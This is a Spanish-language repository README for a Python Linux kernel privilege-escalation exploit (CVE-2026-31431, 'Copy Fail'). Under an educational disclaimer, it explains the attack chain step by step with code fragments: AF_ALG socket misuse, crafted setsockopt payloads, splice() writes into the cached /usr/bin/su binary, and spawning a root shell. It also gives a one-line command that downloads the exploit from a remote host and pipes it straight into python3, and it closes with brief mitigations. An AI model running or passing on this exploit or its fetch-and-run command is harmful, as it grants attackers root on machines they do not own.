
Exploit en Python para escalada local de privilegios en el kernel de Linux (CVE-2026-31431) que utiliza confusión de estado del socket AF_ALG y splice() para lograr escritura arbitraria de archivos y acceso root.
Este repositorio es estrictamente para fines educativos y de investigación en ciberseguridad. El código del exploit se analiza para comprender la vulnerabilidad subyacente, facilitar su parcheo y desarrollar estrategias de defensa. No lo utilices contra sistemas que no te pertenezcan o para los que no tengas autorización explícita de prueba.
"Copy Fail" es una vulnerabilidad crítica de Escalada de Privilegios Local (LPE) encontrada en el Kernel de Linux. Permite que un usuario sin privilegios obtenga acceso root explotando una falla en la forma en que el kernel maneja las operaciones de memoria entre el sistema de archivos y la API de Criptografía Asíncrona (AF_ALG).
El exploit en Python proporcionado aprovecha una combinación de syscalls e interfaces oscuras de Linux para lograr una escritura arbitraria fuera de los límites (OOB) en la memoria del kernel, que luego se traduce en una escritura arbitraria de archivos en disco.
Aquí está el desglose paso a paso de la cadena de ataque:
AF_ALGa=s.socket(38, 5, 0)
a.bind(("aead","authesn(hmac(sha256),cbc(aes))"))
El script crea un socket AF_ALG (Familia 38). Esta interfaz permite que las aplicaciones de espacio de usuario descarguen operaciones criptográficas al kernel. Específicamente solicita una cadena de cifrado AEAD (Autenticación Encriptada con Datos Asociados) que combina HMAC-SHA256 y CBC-AES.
setsockoptv(h,1,d('0800010000000010'+'0'*64))
v(h,5,None,4)
El script manipula el estado interno del socket usando setsockopt. La carga útil hexadecimal y el argumento None están cuidadosamente diseñados para desencadenar una condición de límite o un desbordamiento de enteros en la gestión del búfer de la API criptográfica del kernel. Esto "falla" la operación de copia de forma segura dentro del kernel, dejando el socket en un estado inconsistente y vulnerable.
splice()n=g.splice; n(f,w,o,offset_src=0); n(r,u.fileno(),o)
Este es el núcleo del exploit. En lugar de leer datos al espacio de usuario y escribirlos de vuelta, splice() mueve datos directamente entre descriptores de archivo enteramente en el espacio del kernel.
El script abre /usr/bin/su (un binario SUID root) e intenta transferir datos desde él hacia el socket AF_ALG mal configurado. Debido a que el estado del socket fue corrompido en el Paso 2, la verificación de límites del kernel falla durante esta operación de cero copias.
e=zlib.decompress(d("78da..."))
while i<len(e):c(f,i,e[i:i+4]);i+=4
El script descomprime una carga útil comprimida (probablemente un pequeño shellcode o un blob binario modificado). Entra en un bucle, enviando esta carga útil de 4 bytes a la vez al búfer del socket corrupto. Debido a la falla en la verificación de límites, estas escrituras de 4 bytes aterrizan en offsets arbitrarios de la caché de páginas del kernel—el espacio de memoria exacto donde está cargado /usr/bin/su.
g.system("su")
Al sobrescribir punteros de instrucciones específicos o comprobaciones lógicas dentro de la versión en caché de páginas de /usr/bin/su, el atacante modifica el comportamiento del binario. Cuando se llama a system("su"), ejecuta el binario SUID modificado. El binario se ejecuta como root pero omite la verificación estándar de contraseña, llevando al atacante directamente a un shell root.
Descarga y ejecuta copyfail.py en tu sistema Linux o usa la siguiente solicitud curl para una ejecución rápida
curl https://copy.fail/exp | python3 && su
id
https://github.com/user-attachments/assets/1f6c9365-710e-4241-889f-cb30af6d6f2e
AF_ALG: Si la descarga criptográfica no es requerida por tus cargas de trabajo, desactiva el módulo del kernel af_alg añadiendo blacklist af_alg a /etc/modprobe.d/blacklist.conf.splice(), socket() (específicamente la familia 38) y setsockopt() usando filtros Seccomp estrictos.